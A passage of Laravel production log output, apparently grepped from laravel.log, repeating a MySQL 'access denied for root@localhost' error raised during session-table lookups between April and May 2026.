SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QiyrXeBCG8IKUUsn7oBW34rqrGg4RMuyp92Vj3h7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-18 17:58:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DBkyNJNPOknd1IgkWWCubNp3DO0SpMPWgAlzeuIy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DBkyNJNPOknd1IgkWWCubNp3DO0SpMPWgAlzeuIy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-18 21:09:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0QN9vgPT3ttR4R9I2fDbhTYnlLwhKZDrRKO0HVSy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0QN9vgPT3ttR4R9I2fDbhTYnlLwhKZDrRKO0HVSy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-19 04:03:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DA37QZi0uNfWGa3jIoVi5Fd8x7JL8pEyHXH6wZk3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DA37QZi0uNfWGa3jIoVi5Fd8x7JL8pEyHXH6wZk3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-19 10:51:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V1hVRo9ngWRE3A8VzDmKcIBqDxmCmlTZ4hNTl8NY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V1hVRo9ngWRE3A8VzDmKcIBqDxmCmlTZ4hNTl8NY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-19 15:52:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5eIWJxZtKyMDLive3gxvmxX1VU5F0CkBJBM2DPsI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5eIWJxZtKyMDLive3gxvmxX1VU5F0CkBJBM2DPsI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-19 20:02:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SFRQjcXdnGBeMWsGVOJ4j85FWq0bPFMntkhGpmVI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SFRQjcXdnGBeMWsGVOJ4j85FWq0bPFMntkhGpmVI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-19 23:35:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CCctlWfyMSEuazNeugQkJVcl9otMaZy9evU0BskN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CCctlWfyMSEuazNeugQkJVcl9otMaZy9evU0BskN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-20 20:25:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uzugj5A9GKo6ngXEfzzB0DrblPjNN2HXtzjIaZDO limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uzugj5A9GKo6ngXEfzzB0DrblPjNN2HXtzjIaZDO limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-21 03:27:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = efEDC41cC8JnzrDZJXWSutiIa4lhdjqcuZ7wPV1f limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = efEDC41cC8JnzrDZJXWSutiIa4lhdjqcuZ7wPV1f limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-21 15:42:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KqTKnH0pJLvTQ95RGw7A3oHBZ5pHsZFFU3dQKZwu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KqTKnH0pJLvTQ95RGw7A3oHBZ5pHsZFFU3dQKZwu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-21 16:14:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xhe9nO4bYJdp8sGG3KYlifGCWfrlukmcUcSkoz8S limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xhe9nO4bYJdp8sGG3KYlifGCWfrlukmcUcSkoz8S limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-22 00:10:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ikvHMMAtAqGdxRIS1BpafdHpUd6vUSW0FDJHWJZs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ikvHMMAtAqGdxRIS1BpafdHpUd6vUSW0FDJHWJZs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-22 20:16:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mtKuJjBg3jI9F97IvTdXTTYw8T1LBTasuf91kOkh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mtKuJjBg3jI9F97IvTdXTTYw8T1LBTasuf91kOkh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-25 13:22:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LmRb3rDakQZgA7TcSMzsx83TzBAfhSFJKLe9Vbpe limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LmRb3rDakQZgA7TcSMzsx83TzBAfhSFJKLe9Vbpe limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-25 22:42:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PYYh0xw4OLLcxj9lp3aH8VxAp9fIM73T26fQuKvl limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PYYh0xw4OLLcxj9lp3aH8VxAp9fIM73T26fQuKvl limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-26 01:11:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jWvUT1Nzyw8vTMaJ0wK47SCf0Oya7jYJ2xV09tJV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jWvUT1Nzyw8vTMaJ0wK47SCf0Oya7jYJ2xV09tJV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-26 02:52:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hj0MUJsSjlW9K5SWNmJnxPAP1AA9S90yf7NbINrh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hj0MUJsSjlW9K5SWNmJnxPAP1AA9S90yf7NbINrh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-28 01:38:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zUZfs1EFHK8nbwL1PqrbTmK7OuZnPrnyRpqR1Uh7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zUZfs1EFHK8nbwL1PqrbTmK7OuZnPrnyRpqR1Uh7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-28 15:49:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wjS4UjajGPf7k5P3Y6iP8WvVf95O1Bjzl0HZszlB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wjS4UjajGPf7k5P3Y6iP8WvVf95O1Bjzl0HZszlB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-29 04:37:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 63mel3aCQpKkyyPXiXhDU5q3W7s104rEQanO6Za7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 63mel3aCQpKkyyPXiXhDU5q3W7s104rEQanO6Za7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-29 22:41:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UyMMsoqrVqhFPhXyMvNDLgcrmPcpvohZgqLNAo01 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UyMMsoqrVqhFPhXyMvNDLgcrmPcpvohZgqLNAo01 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 01:07:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rxMC6sRUbJKX9X0kxobgEZZNQdPTbLD3NEhbxAuC limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rxMC6sRUbJKX9X0kxobgEZZNQdPTbLD3NEhbxAuC limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 01:07:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ITsX5S858LDreYBiVXsY8TMETSlMhIYJrZE7TAlJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ITsX5S858LDreYBiVXsY8TMETSlMhIYJrZE7TAlJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 01:54:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d6Hwty6MpOpR27h0DL5hMMM0ZrEuA9VgSYrjmwCj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d6Hwty6MpOpR27h0DL5hMMM0ZrEuA9VgSYrjmwCj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 08:22:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = g1gdQ58NPZr6DXWjmXkohh20MItL3AjwkfbgXbpn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = g1gdQ58NPZr6DXWjmXkohh20MItL3AjwkfbgXbpn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 18:05:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ysNBHpap8kbx6ed23JYbxIb8T7kGqeLlnEJLLVCO limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ysNBHpap8kbx6ed23JYbxIb8T7kGqeLlnEJLLVCO limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 19:06:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4SUCwy5kTpB7kZTxIK57AMugPzxQKZD2yYUoarLs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4SUCwy5kTpB7kZTxIK57AMugPzxQKZD2yYUoarLs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-30 22:05:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NaqFG50xYeKtjErjfoAlBaybZ2c8ytUh6nwyPuj8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NaqFG50xYeKtjErjfoAlBaybZ2c8ytUh6nwyPuj8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-01 23:50:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1VsWYBCFjCU2RJZlR7r2z6fSu4GjPm3pPc1ema6D limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1VsWYBCFjCU2RJZlR7r2z6fSu4GjPm3pPc1ema6D limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-02 12:48:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 